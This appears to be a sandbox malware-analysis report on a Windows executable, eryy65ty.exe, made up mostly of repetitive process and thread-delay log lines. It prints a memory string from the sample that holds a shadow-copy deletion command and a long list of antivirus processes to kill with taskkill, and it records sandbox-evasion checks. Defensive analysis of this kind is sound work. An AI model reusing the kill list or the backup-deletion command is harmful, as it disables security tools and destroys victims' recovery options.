Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: eryy65ty.exe, 00000022.00000000.1564548857.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002A.00000000.1725571622.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002D.00000000.1808036248.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe.31.dr

Binary or memory string: COULD NOT CREATE CHILD PROCESSWOW64DISABLEWOW64FSREDIRECTIONKERNEL32.DLLWOW64REVERTWOW64FSREDIRECTIONABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ\WMIC.EXE\..\\WBEM\\SYSTEM32\\WINDOWS\C:\SHADOWCOPY DELETEAVPMAPP.EXE,ECONCEAL.EXE,SECHEALTHUI.EXE,RUNTIMEBROKER.EXE,ESCANMON.EXE,ESCANPRO.EXE,TRAYSSER.EXE,TRAYICOS.EXE,ECONSER.EXE,VIEWTCP.EXE,FSHDLL64.EXE,FSGK32.EXE,FSHOSTER32.EXE,FSMA32.EXE,FSORSP.EXE,FSSM32.EXE,FSM32.EXE,TRIGGER.EXE,FPROTTRAY.EXE,FPWIN.EXE,FPAVSERVER.EXE,AVK.EXE,GDBGINX64.EXE,AVKPROXY.EXE,GDSCAN.EXE,AVKWCTLX64.EXE,AVKSERVICE.EXE,AVKTRAY.EXE,GDKBFLTEXE32.EXE,GDSC.EXE,VIRUSUTILITIES.EXE,GUARDXSERVICE.EXE,GUARDXKICKOFF_X64.EXE,IPTRAY.EXE,FRESHCLAM.EXE,FRESHCLAMWRAP.EXE,K7RTSCAN.EXE,K7FWSRVC.EXE,K7PSSRVC.EXE,K7EMLPXY.EXE,K7TSECURITY.EXE,K7AVSCAN.EXE,K7CRVSVC.EXE,K7SYSMON.EXE,K7TSMAIN.EXE,K7TSMNGR.EXE,MPCMDRUN.EXE,NANOSVC.EXE,NANOAV.EXE,NNF.EXE,NVCSVC.EXE,NBROWSER.EXE,NSEUPDATESVC.EXE,NFSERVICE.EXE,CMD.EXETASKKILL/IMNWSCMON.EXE,NJEEVES2.EXE,NVCOD.EXE,NVOY.EXE,ZLHH.EXE,ZLH.EXE,NPROSEC.EXE,ZANDA.EXE,NS.EXE,ACS.EXE,OP_MON.EXE,PSANHOST.EXE,PSUAMAIN.EXE,PSUASERVICE.EXE,AGENTSVC.EXE,BDSSVC.EXE,EMLPROXY.EXE,OPSSVC.EXE,ONLINENT.EXE,QUHLPSVC.EXE,SAPISSVC.EXE,SCANNER.EXE,SCANWSCS.EXE,SCPROXYSRV.EXE,SCSECSVC.EXE,SUPERANTISPYWARE.EXE,SASCORE64.EXE,SSUPDATE64.EXE,SUPERDELETE.EXE,SASTASK.EXE,K7RTSCAN.EXE,K7FWSRVC.EXE,K7PSSRVC.EXE,K7EMLPXY.EXE,K7TSECURITY.EXE,K7AVSCAN.EXE,K7CRVSVC.EXE,K7SYSMON.EXE,K7TSMAIN.EXE,K7TSMNGR.EXE,UIWINMGR.EXE,UIWATCHDOG.EXE,UISEAGNT.EXE,PTWATCHDOG.EXE,PTSVCHOST.EXE,PTSESSIONAGENT.EXE,COREFRAMEWORKHOST.EXE,CORESERVICESHELL.EXE,UIUPDATETRAY.EXE,VIPREUI.EXE,SBAMSVC.EXE,SBAMTRAY.EXE,SBPIMSVC.EXE,BAVHM.EXE,BAVSVC.EXE,BAVTRAY.EXE,BAV.EXE,BAVWEBCLIENT.EXE,BAVUPDATER.EXE,MCSHIELDCCC.EXE,MCSHIELDRTM.EXE,MCSHIELDDS.EXE,MCS-UNINSTALL.EXE,SDSCAN.EXE,SDFSSVC.EXE,SDWELCOME.EXE,SDTRAY.EXE,UNTHREAT.EXE,UTSVC.EXE,FORTICLIENT.EXE,FCAPPDB.EXE,FCDBLOG.EXE,FCHELPER64.EXE,FMON.EXE,FORTIESNAC.EXE,FORTIPROXY.EXE,FORTISSLVPNDAEMON.EXE,FORTITRAY.EXE,FORTIFW.EXE,FORTICLIENT_DIAGNOSTIC_TOOL.EXE,AV_TASK.EXE,CERTREG.EXE,FILMSG.EXE,FILUP.EXE,FILWSCC.EXE,FILWSCC.EXE,PSVIEW.EXE,QUAMGR.EXE,QUAMGR.EXE,SCHMGR.EXE,SCHMGR.EXE,TWSSCAN.EXE,TWSSRV.EXE,USERREG.EXESEDEBUGPRIVILEGECOULD NOT SET SE_DEBUG_NAME PRIVILEGE

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-client-migration-replacement.man
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-drivers-migration-replacement.man
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-migration-replacement.man

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4479	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5341	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3264	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2396	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6543	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1481	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5840
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5113
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4662

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4912	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2404	Thread sleep count: 3264 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2628	Thread sleep count: 2396 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6756	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4716	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3964	Thread sleep count: 6543 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3452	Thread sleep count: 1481 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2404	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8172	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7636	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 524	Thread sleep count: 5840 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5528	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 520	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep count: 5113 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep count: 4662 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6560	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3652	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 6988	Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 6988	Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 5968	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 4844	Thread sleep count: 47 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 6196	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 2648	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 2648	Thread sleep count: 56 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 2648	Thread sleep count: 42 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 8472	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: svchost.exe, 00000011.00000002.2579572791.000001428C059000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1696491690344.6260e81e-5ef5-4137-a0a5-7930ea6f0a75.main.jsonlz4.34.dr	Binary or memory string: "VMware V[
Source: svchost.exe, 00000011.00000002.2575521122.000001428682B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
